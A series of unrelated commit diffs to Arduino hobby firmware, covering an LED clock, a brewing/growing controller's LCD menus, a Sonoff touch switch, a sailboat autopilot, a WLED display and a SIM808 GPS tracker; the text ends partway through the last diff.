--- Clock.ino
+++ Clock.ino
@@ -7,6 +7,7 @@
 #include <Adafruit_NeoPixel.h>
 #include <EasingLibrary.h>

+#define Brightness 30
 #define UpdateSkips 8
 #define LEDStartDelay 3

@@ -86,7 +87,7 @@
         {
             for (int i = 0; i < currentDateTime.hour(); i++)
             {
-                strip.setPixelColor(InnerLED(i), 0, 15, 0);
+                strip.setPixelColor(InnerLED(i), 0, Brightness, 0);
             }
         }

@@ -94,12 +95,17 @@
         {
             for (int i = 0; i < currentDateTime.minute(); i++)
             {
-                strip.setPixelColor(OuterLED(i), 0, 0, 15);
+                strip.setPixelColor(OuterLED(i), 0, 0, Brightness);
             }
         }

         if (LEDsEnabled)
-            strip.setPixelColor(OuterLED(previousDateTime.second()), 0, 0, 0);
+        {
+            if (previousDateTime.second() < previousDateTime.minute())
+                strip.setPixelColor(OuterLED(previousDateTime.second()), 0, 0, Brightness);
+            else
+                strip.setPixelColor(OuterLED(previousDateTime.second()), 0, 0, 0);
+        }

         unsigned long timeSinceLastTick = millis() - lastSecondMillis;

@@ -141,8 +147,6 @@
             uint8_t nextSecond = (currentSecond == 59) ? 0 : currentSecond + 1;
             if (LEDsEnabled)
             {
-                uint8_t brightness = 30;
-
                 double scaledAmount;

                 if (amount <= 0.5)
@@ -150,15 +154,12 @@
                 else
                     scaledAmount = 1.0 - ease.easeIn(amount - 0.5);

-                if (currentSecond <= currentDateTime.minute())
-                    strip.setPixelColor(OuterLED(currentSecond), brightness * scaledAmount, 0, 0);
+                double inverseScaledAmount = constrain(1.0 - scaledAmount, 0.0, 100.0);
+
+                if (currentSecond < currentDateTime.minute())
+                    strip.setPixelColor(OuterLED(currentSecond), Brightness * scaledAmount, 0, Brightness * inverseScaledAmount);
                 else
-                    strip.setPixelColor(OuterLED(currentSecond), brightness * scaledAmount, 0, 0);
-
-//                if (nextSecond <= currentDateTime.minute())
-//                    strip.setPixelColor(OuterLED(nextSecond), brightness * amount, 0, 15 * (1.0 - amount));
-//                else
-//                    strip.setPixelColor(OuterLED(nextSecond), brightness * amount, 0, 0);
+                    strip.setPixelColor(OuterLED(currentSecond), Brightness * scaledAmount, 0, 0);
             }
             strip.show();
             updatesPerSecond++;


Delete Menus.ino

Delete Menus.ino

--- Menus.ino
+++ Menus.ino
@@ -1,680 +0,0 @@
-// All menu options are defined below. Note this system is flexible and easily applicable to other projects on small screents, particularly where an encoder is used to navigate menus.
-
-void Menus(){
-
-  switch (menu) {
-      case 0:  // home screen (displays values)
-          SensorCheck();
-          //Triggers(); //RUN from within sensorcheck
-      if(pulselast != pulses){
-          lcd.backlight();
-          backlighton = millis();}
-      if(buttonstate == true  && (millis() - buttontimeon) > 2000){
-          lcd.clear();
-          lcd.backlight();
-          backlighton = millis();
-          Loading();
-          pulses = 9000;
-          buttontimeon = millis();
-          buttonstate = false;
-          menu = 10;
-          }
-          break;
-
-
-      case 10:
-          EncoderTranslate(9);
-          lcd.setCursor(0, 0);
-          lcd.print("Menu: Home");
-          lcd.setCursor(1, 1);
-          lcd.write(0x7E);
-
-          switch(selector) {
-           case 7:
-            lcd.print(mainMenu[selector]);
-            lcd.setCursor(2, 2);
-            lcd.print(mainMenu[selector+1]);
-            lcd.setCursor(2, 3);
-            lcd.print(mainMenu[0]);
-           break;
-           case 8:
-            lcd.print(mainMenu[selector]);
-            lcd.setCursor(2, 2);
-            lcd.print(mainMenu[0]);
-            lcd.setCursor(2, 3);
-            lcd.print(mainMenu[1]);
-           break;
-           default:
-            lcd.print(mainMenu[selector]);
-            lcd.setCursor(2, 2);
-            lcd.print(mainMenu[selector+1]);
-            lcd.setCursor(2, 3);
-            lcd.print(mainMenu[selector+2]);
-          }
-          //delay (10);
-          selector = pulseMod;
-
-
-          if(buttonstate == true) {
-            selectorprev = pulseMod;
-            lcd.clear();
-            buttonstate = false;
-            delay(100);
-            switch (selectorprev) {
-              case 0: Loading(); HomeSetup(); menu = 0; break;
-              case 1: pulses = brewtimer*4; Loading(); menu = 20;  break; //program
-              case 2: pulses = (SvT * 40); Loading();  menu = 30; break; //manual
-              case 3: pulses = dutyCycle*2; Loading(); menu = 50;  break; //
-              case 4: pulses = (fanON * 5); Loading(); menu = 60;  break;
-              case 5: pulses = (TimeAdjust / 60000);  Hours = (Time%86400000)/3600000; Minutes = (Time%3600000)/60000;Loading(); menu = 70;  break;
-              case 6: Loading(); menu = 80;  break;
-              case 7: if (Mode == 1) menu = 90; if (Mode == 0) menu = 92; pulseprev = pulses; break; //save settings
-              case 8: menu = 100;  break; //save settings
-              delay (50);
-            }
-          }
-     break;
-
-
-
-
-      case 20:
-          brewtimerON = 1;
-          lcd.setCursor(3, 0);
-          lcd.print("In ");
-          lcd.write(0x7E);
-          lcd.print(brewtimer);
-          lcd.print(" hours,  ");
-          lcd.setCursor(6, 1);
-          lcd.print("(");
-          lcd.print(brewtimer / 24);
-          lcd.print("Days)");
-          lcd.setCursor(1, 2);
-          lcd.print("Set temperature to:");
-          lcd.setCursor(8, 3);
-          lcd.print(brewtimerSv,1);
-          lcd.print("  ");
-
-          pulseprev = pulses;
-          brewtimer = (pulseprev/4);
-
-          if(brewtimer - (millis()/3600000) < 0 ) brewtimer = millis()/3600000;
-
-          if(buttonstate == true) {
-            pulses = (brewtimerSv * 40);
-            brewtimerRef = millis();
-            if (brewtimer > 0) brewtimerON = 1;
-            delay(500);
-            menu = 21;
-          }
-      break;
-
-      case 21:
-
-          lcd.setCursor(6, 0);
-          lcd.print(" ");
-          lcd.setCursor(7, 3);
-          lcd.write(0x7E);
-          lcd.print(brewtimerSv,1);
-          lcd.printByte(1);
-
-          pulseprev = pulses;
-          brewtimerSv = (pulseprev/40);
-
-          if(buttonstate == true) {
-                goHome();
-          }
-      break;
-
-
-
-      case 30:
-          lcd.setCursor(1, 1);
-          lcd.write(0x7E);
-          lcd.setCursor(2, 1);
-          lcd.print("Set Temp: ");
-          lcd.setCursor(12, 1);
-          lcd.print(SvT,2);
-          lcd.printByte(1);
-          lcd.print(" ");
-
-          lcd.setCursor(2, 2);
-          lcd.print("Set Hum%: ");
-          lcd.setCursor(12, 2);
-          lcd.print(SvH,0);
-          lcd.printByte(2);
-
-          pulseprev = pulses;
-          SvT = (pulseprev/40);
-
-          if(buttonstate == true) {
-            buttonstate = false;
-            pulses = (SvH * 4);
-            delay(500);
-            menu = 32;
-          }
-      break;
-
-      case 32:
-          lcd.setCursor(1, 1);
-          lcd.print(" ");
-          lcd.setCursor(1, 2);
-          lcd.write(0x7E);
-          lcd.setCursor(2, 2);
-          lcd.print("Set Hum%: ");
-          lcd.setCursor(12, 2);
-          lcd.print(SvH,0);
-          lcd.printByte(2);
-          lcd.print(" ");
-
-          pulseprev = pulses;
-          SvH = (pulseprev/4);
-
-          if(buttonstate == true) {
-            goHome();
-          }
-      break;
-
-
-
-      case 50:
-          lcd.setCursor(1, 0);
-          lcd.print("DutyCycle:");
-          lcd.setCursor(1, 1);
-          lcd.print("Begin autotune?");
-          lcd.setCursor(1, 2);
-          lcd.print("Manual tune");
-          lcd.setCursor(1, 3);
-          lcd.print("Exit");
-
-          lcd.setCursor(12, 0);
-          lcd.print(dutyCycle,0);
-          lcd.print(" min ");
-          delay (10);
-
-          EncoderTranslate(4);
-          submenu = pulseMod;
-
-          switch(submenu){
-          case 0:
-            lcd.setCursor(0, 0);
-            lcd.write(0x7E);
-            lcd.setCursor(0, 1);
-            lcd.print(" ");
-            lcd.setCursor(0, 2);
-            lcd.print(" ");
-            lcd.setCursor(0, 3);
-            lcd.print(" ");
-            if(buttonstate == true) {
-              buttonstate = false;
-              pulses = dutyCycle*4;
-              menu = 51;
-            }
-            break;
-          case 1:
-            lcd.setCursor(0, 0);
-            lcd.print(" ");
-            lcd.setCursor(0, 1);
-            lcd.write(0x7E);
-            lcd.setCursor(0, 2);
-            lcd.print(" ");
-            lcd.setCursor(0, 3);
-            lcd.print(" ");
-            if(buttonstate == true) {
-              buttonstate = false;
-              lcd.clear();
-              menu = 52;
-            }
-            break;
-          case 2:
-            lcd.setCursor(0, 0);
-            lcd.print(" ");
-            lcd.setCursor(0, 1);
-            lcd.print(" ");
-            lcd.setCursor(0, 2);
-            lcd.write(0x7E);
-            lcd.setCursor(0, 3);
-            lcd.print(" ");
-            if(buttonstate == true) {
-              pulses = Kp * 40;
-              lcd.clear();
-              buttonstate = false;
-              menu = 53;
-            }
-            break;
-          case 3:
-            lcd.setCursor(0, 0);
-            lcd.print(" ");
-            lcd.setCursor(0, 1);
-            lcd.print(" ");
-            lcd.setCursor(0, 2);
-            lcd.print(" ");
-            lcd.setCursor(0, 3);
-            lcd.write(0x7E);
-            if(buttonstate == true) {
-              goHome();
-            }
-           break; }
-
-      break;
-
-      case 51:
-
-          lcd.setCursor(11, 0);
-          lcd.write(0x7E);
-          lcd.print(dutyCycle,0);
-          lcd.print(" min ");
-
-          pulseprev = pulses;
-          dutyCycle = (pulseprev/4);
-
-          if(buttonstate == true) {
-            lcd.setCursor(11, 0);
-            lcd.print(" ");
-            coolWindowSize = dutyCycle * 60000;
-            coolOffElapsed = millis();
-            buttonstate = false;
-            menu = 50;
-          }
-      break;
-      case 52:
-
-
-          lcd.setCursor(0, 1);
-          lcd.print("Begin (est ");
-          lcd.print((dutyCycle*4),0);
-          lcd.print(" min)");
-
-              EncoderTranslate(2);
-              submenu = pulseMod;
-              lcd.setCursor(8, 2);
-              lcd.write(0x7E);
-              lcd.print(YesNo[submenu]);
-
-          if(buttonstate == true && submenu == 0) {
-            //insert autotune
-            goHome();
-          }
-          if(buttonstate == true && submenu == 1) {
-            goHome();
-          }
-      break;
-      case 53:
-          lcd.setCursor(0, 0);
-          lcd.write(0x7E);
-          lcd.setCursor(1, 0);
-          lcd.print("Kp: ");
-          lcd.print(Kp,2);
-          lcd.setCursor(1, 1);
-          lcd.print("Ki: ");
-          lcd.print(Ki,2);
-          lcd.setCursor(1, 2);
-          lcd.print("Kd: ");
-          lcd.print(Kd,2);
-          lcd.setCursor(1, 3);
-
-
-        pulseprev = pulses;
-        Kp = (pulseprev/40);
-
-         if(buttonstate == true) {
-          buttonstate = false;
-          pulses = Ki * 40;
-          lcd.setCursor(0, 0);
-          lcd.print(" ");
-          lcd.setCursor(0, 1);
-          lcd.write(0x7E);
-          menu = 54;
-         }
-      break;
-
-
-      case 54:
-      lcd.setCursor(5, 1);
-      lcd.print(Ki,2);
-        pulseprev = pulses;
-        Ki = (pulseprev/40);
-       if(buttonstate == true) {
-          buttonstate = false;
-          pulses = Kd * 40;
-          lcd.setCursor(0, 1);
-          lcd.print(" ");
-          lcd.setCursor(0, 2);
-          lcd.write(0x7E);
-          menu = 55;
-       }
-      break;
-
-       case 55:
-      lcd.setCursor(5, 2);
-      lcd.print(Kd,2);
-        pulseprev = pulses;
-        Kd = (pulseprev/40);
-       if(buttonstate == true) {
-         coolPID.SetTunings(Kp,Ki,Kd);
-         goHome();
-       }
-      break;
-
-      case 60:
-          lcd.setCursor(0, 1);
-          lcd.print("Fan RUN for:");
-          lcd.setCursor(12, 1);
-          lcd.write(0x7E);
-          lcd.setCursor(13, 1);
-          lcd.print(fanON);
-          lcd.print(" min");
-          lcd.setCursor(0, 2);
-          lcd.print("Fan OFF for:");
-          lcd.setCursor(13, 2);
-          lcd.print(fanOFF);
-          lcd.print(" min");
-          delay (10);
-
-          pulseprev = pulses;
-          fanON = (pulseprev/4);
-
-          if(buttonstate == true) {
-          buttonstate = false;
-            lcd.setCursor(12, 1);
-            lcd.print(" ");
-            lcd.setCursor(12, 2);
-            lcd.write(0x7E);
-            pulses = (fanOFF * 5);
-            menu = 61;
-          }
-
-      break;
-      case 61:
-          lcd.setCursor(13, 2);
-          lcd.print(fanOFF);
-          lcd.print(" min");
-          delay (10);
-
-          pulseprev = pulses;
-          fanOFF = (pulseprev/4);
-
-          if(buttonstate == true) {
-            buttonstate = false;
-            lcd.clear();
-            menu = 62;}
-      break;
-
-      case 62:
-          lcd.setCursor(0,0);
-          lcd.print("Run fan when ");
-          lcd.setCursor(0,1);
-          lcd.print("sensors disagree?");
-          delay (10);
-
-              EncoderTranslate(2);
-              FanAuto = pulseMod;
-              lcd.setCursor(3, 3);
-              lcd.write(0x7E);
-              lcd.print(OnOff[FanAuto]);
-
-          if(buttonstate == true) goHome();
-      break;
-
-
-      case 70:
-          lcd.setCursor(0, 0);
-          lcd.print("Current time: ");
-          lcd.write(0x7E);
-          lcd.setCursor(1, 2);
-          lcd.print("Lights on: ");
-          lcd.setCursor(1, 3);
-          lcd.print("Lights off:");
-
-          Time = millis() + TimeAdjust;
-          Hours = (Time%86400000)/3600000;
-          Minutes = (Time%3600000)/60000;
-
-          lcd.setCursor(15, 0);
-          if (Hours < 10) lcd.print("0");
-          lcd.print(Hours);
-          lcd.print(":");
-          if (Minutes < 10) lcd.print("0");
-          lcd.print(Minutes);
-          delay (10);
-
-          pulseprev = pulses;
-          TimeAdjust = pulseprev * 60000;
-
-          if (TimeAdjust > 86400000){
-          TimeAdjust = 60000;
-          pulses = 1; }
-          if (TimeAdjust < 60000){
-          TimeAdjust = 86400000;
-          pulses = 1440; }
-
-          if(buttonstate == true) {
-            buttonstate = false;
-            lcd.setCursor(14, 0);
-            lcd.print(" ");
-            pulses = (LightON / 60000);
-            menu = 71;
-          }
-      break;
-
-      case 71:
-          Hours = (LightON%86400000)/3600000;
-          Minutes = (LightON%3600000)/60000;
-
-          lcd.setCursor(14, 2);
-          lcd.write(0x7E);
-
-
-          lcd.setCursor(15, 2);
-          if (Hours < 10)
-            {lcd.print("0");}
-          lcd.print(Hours);
-          lcd.print(":");
-          if (Minutes < 10)
-            lcd.print("0");
-          lcd.print(Minutes);
-          delay (10);
-
-          pulseprev = pulses;
-          LightON = pulseprev * 60000;
-
-          if (LightON > 86400000){
-          LightON = 60000;
-          pulses = 1; }
-          if (LightON < 60000){
-          LightON = 86400000;
-          pulses = 1440; }
-
-          if(buttonstate == true) {
-            buttonstate = false;
-            lcd.setCursor(14, 2);
-            lcd.print(" ");
-            pulses = (LightOFF / 60000);
-            menu = 72;
-          }
-      break;
-
-      case 72:
-          Hours = (LightOFF%86400000)/3600000;
-          Minutes = (LightOFF%3600000)/60000;
-          lcd.setCursor(14, 3);
-          lcd.write(0x7E);
-
-          lcd.setCursor(15, 3);
-          if (Hours < 10) lcd.print("0");
-          lcd.print(Hours);
-          lcd.print(":");
-          if (Minutes < 10) lcd.print("0");
-          lcd.print(Minutes);
-          delay (10);
-
-          pulseprev = pulses;
-          LightOFF = pulseprev * 60000;
-
-          if (LightOFF > 86400000){
-          LightOFF = 60000;
-          pulses = 1; }
-          if (LightOFF < 60000){
-          LightOFF = 86400000;
-          pulses = 1440; }
-
-          if(buttonstate == true){
-            // Return clock vars to time (from lightoff)
-            Time = millis() + TimeAdjust;
-            EEPROM_record();
-            Hours = (Time%86400000)/3600000;
-            Minutes = (Time%3600000)/60000;
-            goHome();}
-      break;
-
-      case 80:
-
-          lcd.setCursor(0, 0);
-          lcd.print("Sensor summary:");
-          lcd.print((100*Output/1800000),0);
-          lcd.print("%");
-          lcd.setCursor(0, 1);
-          lcd.print("DHT22: ");
-          lcd.print(Temp3,1);
-          lcd.printByte(1);
-          lcd.setCursor(13, 1);
-
-          lcd.print(Hum,0);
-          lcd.printByte(2);
-          lcd.setCursor(0, 2);
-          lcd.print("Temp1: ");lcd.print(Temp1,1);
-          lcd.printByte(1);
-          lcd.setCursor(0, 3);
-          lcd.print("Temp2: ");lcd.print(Temp2,1);
-          lcd.printByte(1);
-
-          SensorCheck();
-
-          if(buttonstate == true) {
-             goHome();
-          }
-
-      break;
-
-      case 90:
-        lcd.setCursor(1, 1);
-        lcd.write(0x7E);
-        lcd.setCursor(1, 2);
-        lcd.print(" ");
-        lcd.setCursor(2, 1);
-        lcd.print("Go to brew mode!");
-        lcd.setCursor(2, 2);
-        lcd.print("Cancel");
-
-        if(abs((pulseprev - pulses)) > 3){
-          menu = 91;
-          pulseprev = pulses;
-        }
-
-        if(buttonstate == true) {
-             buttonstate = false;
-             Loading();
-             lcd.setCursor(0, 0);
-             for( int x = 0; x < 20; x++){
-             lcd.printByte(0);}
-             lcd.setCursor(0, 3);
-             for( int x = 0; x < 20; x++){
-             lcd.printByte(0);}
-             lcd.setCursor(1, 1);
-             lcd.print("IT'S BREWIN' TIME!");
-             lcd.setCursor(2, 2);
-             lcd.print("*glug glug glug*");
-             delay(3000);
-             sensorTime2 = millis();
-             Mode = 0;
-             //preset = 0;
-             EEPROM_writeAnything(8, Mode);
-             goHome();
-        }
-
-      break;
-
-      case 91:
-        lcd.setCursor(1, 1);
-        lcd.print(" ");
-        lcd.setCursor(1, 2);
-        lcd.write(0x7E);
-
-        if(abs((pulseprev - pulses)) > 3){
-          menu = 90;
-          pulseprev = pulses;
-        }
-
-        if(buttonstate == true) {
-             goHome();
-        }
-      break;
-
-      case 92:
-        lcd.setCursor(1, 1);
-        lcd.write(0x7E);
-        lcd.setCursor(1, 2);
-        lcd.print(" ");
-        lcd.setCursor(2, 1);
-        lcd.print("Go to grow mode!");
-        lcd.setCursor(2, 2);
-        lcd.print("Cancel");
-
-        if(abs((pulseprev - pulses)) > 20){
-          menu = 93;
-          pulseprev = pulses;
-        }
-
-        if(buttonstate == true) {
-             Loading();
-             lcd.setCursor(0, 0);
-             for( int x = 0; x < 20; x++){
-             lcd.printByte(0);}
-             lcd.setCursor(0, 3);
-             for( int x = 0; x < 20; x++){
-             lcd.printByte(0);}
-             lcd.setCursor(1, 1);
-             lcd.print("IT'S GROWIN' TIME!");
-             lcd.setCursor(2, 2);
-             lcd.print("*nom nom nom nom*");
-             delay(3000);
-             Mode = 1;
-             //preset = 0;
-             EEPROM_writeAnything(8, Mode);
-             goHome();
-        }
-
-      break;
-
-      case 93:
-        lcd.setCursor(1, 1);
-        lcd.print(" ");
-        lcd.setCursor(1, 2);
-        lcd.write(0x7E);
-
-        if(abs((pulseprev - pulses)) > 20){
-          menu = 90;
-          pulseprev = pulses;
-        }
-
-        if(buttonstate == true) {
-             goHome();
-        }
-      break;
-
-      case 100:
-            EEPROM_record();
-            lcd.clear();
-            lcd.setCursor(3, 1);
-            lcd.print("Settings Saved");
-            lcd.setCursor(7, 2);
-            lcd.printByte(0);
-            lcd.printByte(0);
-            lcd.printByte(0);
-            delay (1000);
-            goHome();
-     break;
-
-     delay (50);
-  }
-}


Reboot timeout for #4. To be tested.

Reboot timeout for #4. To be tested.

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -22,6 +22,7 @@
 const int PIN_BUTTON = 0;

 int function = 0;
+unsigned long connectedMillis = 0;

 // Timer related for dimming delays
 unsigned long previousMillis = 0;
@@ -58,6 +59,17 @@
 }

 void loopHandler() {
+
+  if ( Homie.isConnected() ) {
+    // This counter will stop when disconnected
+    connectedMillis = millis();
+  } else {
+    if (millis() - connectedMillis >= 60000 ) {
+      Serial.println("Restarting in ten seconds");
+      delay(10000);
+      ESP.restart();
+    };
+  }
   // Update button state
   button1.Update();


Update ValuePull.ino

Update ValuePull.ino

--- examples/GettingStarted/ValuePull/ValuePull.ino
+++ examples/GettingStarted/ValuePull/ValuePull.ino
@@ -25,7 +25,7 @@
 #include <SPI.h>
 #include <Ethernet.h>
 #include <BlynkSimpleEthernet.h>
-#include <SimpleTimer.h> // download this library here: https://github.com/jfturcot/SimpleTimer
+#include <SimpleTimer.h> //Download Simple Timer library here: https://github.com/jfturcot/SimpleTimer

 // You should get Auth Token in the Blynk App.
 // Go to the Project Settings (nut icon).


autopilot tuning

autopilot tuning

--- firmware/pilot.ino
+++ firmware/pilot.ino
@@ -3,6 +3,7 @@

 // minimum speed needed to establish course (knots)
 #define MIN_SPEED 1.0
+#define MIN_TACK_SPEED 1.0

 // how close you have to get to the waypoint to consider it hit
 #define GET_WITHIN 5
@@ -28,7 +29,7 @@
 #define WIND_LOOKAHEAD 10

 // either side of 0 for "in irons"
-#define IRONS 40
+#define IRONS 45
 #define IN_IRONS(v) (((v) < IRONS || (v) > (360 - IRONS)))
 #define TACK_TIMEOUT 10000

@@ -65,6 +66,12 @@
 // if we're at more than this heel, start easing the mainsheet
 #define START_HEEL_COMP 30
 #define MAX_HEEL_COMP 30
+
+// if heel compensation drops below this amount, zero it out
+#define MIN_HEEL_COMP 5
+
+// we're going decrease the amount of heel adjust by this factor to bring things back slowly
+#define HEEL_COMP_DECAY 0.1

 // # of waypoints below
 #define WP_COUNT 7
@@ -164,6 +171,10 @@
     logln("Checking sail trim");
     if (abs(current_roll) > START_HEEL_COMP)
       heel_adjust = min(MAX_HEEL_COMP, 2 * (abs(current_roll) - START_HEEL_COMP));
+    else if (heel_adjust > MIN_HEEL_COMP)
+      heel_adjust = heel_adjust * HEEL_COMP_DECAY;
+    else
+      heel_adjust = 0;

     float new_winch = map(abs(wind - 180), 30, 170, WINCH_MIN, WINCH_MAX) - heel_adjust;

@@ -214,7 +225,7 @@
         if (!skip_irons_check && IN_IRONS(new_wind)) {
             logln("Requested (new wind %d) course unsafe, requires tack", new_wind);
             // and if we're allowed to tack, we tack
-            if (CAN_TURN()) {
+            if (CAN_TURN() && gps_speed > MIN_TACK_SPEED) {
                 logln("Tack change allowed. Turning.");
                 tack();
                 last_turn = millis();


Turn off display after 5 min.

Turn off display after 5 min.

Better shut off display after few minutes to preserve display life time.

--- usermods/ssd1306_i2c_oled_u8g2/wled06_usermod.ino
+++ usermods/ssd1306_i2c_oled_u8g2/wled06_usermod.ino
@@ -39,6 +39,8 @@
 uint8_t knownPalette = 0;

 long lastUpdate = 0;
+long startupTimestamp = millis();
+bool displayTurnedOff = false;
 // How often we are redrawing screen
 #define USER_LOOP_REFRESH_RATE_MS 5000

@@ -49,6 +51,11 @@
     return;
   }
   lastUpdate = millis();
+// Turn off display after 5 minutes from powering.
+  if( !displayTurnedOff && millis() - startupTimestamp > 5*60*1000) {
+    u8x8.setPowerSave(1);
+    displayTurnedOff = true;
+  }

   // Check if values which are shown on display changed from the last tiem.
   if ((apActive == true ? String(apSSID) : WiFi.SSID()) != knownSsid) {


stable version to reduce power consumption

--- test_configSIM808.ino
+++ test_configSIM808.ino
@@ -1,5 +1,5 @@
-//#define DEBUG 1
-#define NO_NETLIGHT 1   //turn on or off netlight of sim808 board
+#define DEBUG 1
+//#define NO_NETLIGHT 1   //turn on or off netlight of sim808 board
 #define PROTOCOL 2   //1 = TCP and 2 = UDP

 #ifdef PROTOCOL
@@ -20,6 +20,13 @@
 #define NO_GPRS_SIGNAL 20
 #define DNS_ERROR 21
 #define PDP_DEACT 22
+
+#define NO_GPS_DATA_AVAILABLE 31
+
+#define START_GPRS_TCP_FAIL 50
+#define START_GPRS_UDP_FAIL 51
+#define SEND_TCP_DATA_FAIL 52
+#define SEND_UDP_DATA_FAIL 53

 //The content of messages sent
@@ -60,8 +67,8 @@
 char Speed[8]="000.000";
 char GEOID[5]="00000";
 boolean DNS_OK = true;
-int currentRadioSig = 0;
-int previousRadioSig = 0;
+int currentRadioSig = 10;   //currentRadioSig/previousRadioSig = 10 to avoid configure again the data connection
+int previousRadioSig = 10;  //when enter the first time of loop to send data

 //byte pos = 0;  //WHAT POSITION WE ARE AT IN THAT BUFFER
@@ -116,7 +123,7 @@
   }*/

    /******************************************************
-   * GPS Configuration
+   * GPRS Configuration
    ******************************************************/
   //GNSS power control
   sim808_check_with_cmd("AT+CGNSPWR=1","OK\r\n",CMD);
@@ -132,22 +139,24 @@

   //check if mobile number is register in the network
   //GPRS.println("AT+CREG=?");
-
+
   /*******************************************************
    * configuration of GPRS data
    *******************************************************/
- InitGPRS();
-
- /***********************************************************
+  InitGPRS();
+
+  /***********************************************************
   * GPS configuration
   ***********************************************************/
   //GPS configuration
-  GPRS.println("AT+CGPSPWR=1");  //POWER ON of GPS interface
+  //GPRS.println("AT+CGPSPWR=1");  //POWER ON of GPS interface
   //SerialSim808_Read();
+  sim808_check_with_cmd("AT+CGPSPWR=1\r\n","OK\r\n",CMD);
   delay(50);

-  GPRS.println("AT+CGPSRST=1");  //1 = HOT start of GPS or COLD start = 0
+  //GPRS.println("AT+CGPSRST=0");  //1 = HOT start of GPS or COLD start = 0
   //SerialSim808_Read();
+  sim808_check_with_cmd("AT+CGPSRST=0\r\n","OK\r\n",CMD);
   delay(50);

 //  GPRS.println("AT+CGPSSTATUS?");
@@ -179,8 +188,14 @@
   #ifdef NO_NETLIGHT
     sim808_send_cmd("AT+CNETLIGHT=0\r\n");
   #endif
-
-  timer.setInterval(60000, GetGPSLocation);
+
+  //wait
+  wait_GPS_connect(240);  //wait GPS connect 2minutes
+
+
+  GetGPSLocation();
+
+  timer.setInterval(60000, GetGPSLocation); //call subroutine to GetGPSLocation every minute
   //timer.setInterval(1000, PrintSecondsElapsed);
 }

@@ -205,31 +220,31 @@

-  //Receiving call
-  if(sim808.readable()){
-    sim808_read_buffer(gprsBuffer,32,DEFAULT_TIMEOUT);
-    //Serial.print("LoopBuf:");
-    //Serial.println(gprsBuffer);
-
-    //**** Detect the current state of the telephone or SMS ****************
-    if(NULL != strstr(gprsBuffer,"RING")) {
-        sim808.answer();
-        createSMSMessage(smsMessage,latitude, longitude, MSL_altitude, Speed);
-        if(extractCallingNumber(gprsBuffer)){
-          sim808.sendSMS(phone,smsMessage);
-        }else{
-          //Serial.println("No CLIP to send SMS");
-        }
-        delay(2000);
-        sim808_send_cmd("AT+CTTS=2,\"hello,欢迎使用语音合系统\"\r\n");
-  }
-
-  //check if GPRS signal still good
-  if(NULL != (s = strstr(gprsBuffer,"CDNSGIP: 0,8"))) {
-    Serial.println("No signal or DNS fault loop");
-    DNS_OK = false;
-  }
-
+//  //Receiving call
+//  if(sim808.readable()){
+//    sim808_read_buffer(gprsBuffer,32,DEFAULT_TIMEOUT);
+//    //Serial.print("LoopBuf:");
+//    //Serial.println(gprsBuffer);
+//
+//    //**** Detect the current state of the telephone or SMS ****************
+//    if(NULL != strstr(gprsBuffer,"RING")) {
+//        sim808.answer();
+//        createSMSMessage(smsMessage,latitude, longitude, MSL_altitude, Speed);
+//        if(extractCallingNumber(gprsBuffer)){
+//          sim808.sendSMS(phone,smsMessage);
+//        }else{
+//          //Serial.println("No CLIP to send SMS");
+//        }
+//        delay(2000);
+//        sim808_send_cmd("AT+CTTS=2,\"hello,欢迎使用语音合系统\"\r\n");
+//  }
+//
+//  //check if GPRS signal still good
+//  if(NULL != (s = strstr(gprsBuffer,"CDNSGIP: 0,8"))) {
+//    Serial.println("No signal or DNS fault loop");
+//    DNS_OK = false;
+//  }
+//

   //Receive SMS message
 //  if(NULL != (s = strstr(gprsBuffer,"+CMTI: \"SM\""))) { //SMS: $$+CMTI: "SM",24$$
@@ -262,8 +277,8 @@

-    sim808_clean_buffer(gprsBuffer,32);
-  }
+//    sim808_clean_buffer(gprsBuffer,32);
+//  }

 }
@@ -511,67 +526,126 @@
  * This function request the GPS information from SIM808, parse information in global
  * variables and finally print the information at Serial interface for debugging.
  ****************************************************************************************/
-void GetGPSLocation(){
+int GetGPSLocation(){
 char infoLocation[BUFFER_SIZE];
 posBuf=0;
 int i = 0;
-
-  //Get position
-  while(GPRS.available()){
-    GPRS.read();
-  }
-  GPRS.println("AT+CGPSINF=2");
-
-  //Read response of SIM808 at Serial Port, Uno buffer all data without other activities
-  //otherwise it may lose some bytes
-  //after send the command to GPS, it takes about 100ms to all serial information arrives UNO
+int j=0;
+
+//  //waking up GPS after sleep
+  sim808_check_with_cmd("AT+CGPSPWR=1\r\n","OK\r\n",CMD);
+  delay(1000);
+  sim808_check_with_cmd("AT+CGPSRST=1\r\n","OK\r\n",CMD);
+  delay(1000);
+
+  if(!wait_GPS_connect(25)){ //timeout of 25 seconds to acquire signal
+    sim808_check_with_cmd("AT+CGPSPWR=0\r\n","OK\r\n",CMD);
+    return NO_GPS_DATA_AVAILABLE;
+  }
+
+
+  sim808_clean_buffer(infoLocation,BUFFER_SIZE);
+
+  sim808_send_cmd("AT+CGPSINF=2\r\n");
   delay(50);
-
-
-  //for(int i=0;i<7;i++){
-  while((posBuf<=99)&&(i<15)){
-    while((GPRS.available()>0)){
-      infoLocation[posBuf++]=GPRS.read();
-    }
-    delay(10);
-    i++;
-    //delay(15);
-  }
-  GPSAnalyzer(infoLocation);
-
-  //Get Speed of SIM808 from GPS
+  if(sim808.readable()) {
+    sim808_read_buffer(infoLocation,BUFFER_SIZE,DEFAULT_TIMEOUT);
+  }
+  Serial.println("buffer2:");
+  Serial.println(infoLocation);
+
+
+//  while(GPRS.available()){
+//    GPRS.read();
+//  }
+//  GPRS.println("AT+CGPSINF=2");
+//
+//  //Read response of SIM808 at Serial Port, Uno buffer all data without other activities
+//  //otherwise it may lose some bytes
+//  //after send the command to GPS, it takes about 100ms to all serial information arrives UNO
+//  delay(50);
+
+
+//  //for(int i=0;i<7;i++){
+//  while((posBuf<=99)&&(i<15)){
+//    while((GPRS.available()>0)){
+//      infoLocation[posBuf++]=GPRS.read();
+//    }
+//    delay(10);
+//    i++;
+//    //delay(15);
+//  }
+
+  if(!GPSAnalyzer(infoLocation)){
+    //sim808_clean_buffer(infoLocation,BUFFER_SIZE);
+    sim808_check_with_cmd("AT+CGPSPWR=0\r\n","OK\r\n",CMD);
+    return NO_GPS_DATA_AVAILABLE;
+  }
+
+
+  //debug until here
+
+
+
+
+  sim808_clean_buffer(infoLocation,BUFFER_SIZE);
+   //Get Speed of SIM808 from GPS
   while(GPRS.available()){
     GPRS.read();
   }
   GPRS.println("AT+CGPSINF=32");
-
-  //Read response of SIM808 at Serial Port, Uno buffer all data without other activities
-  //otherwise it may lose some bytes
-  //after send the command to GPS, it takes about 100ms to all serial information arrives UNO
   delay(50);
-
-
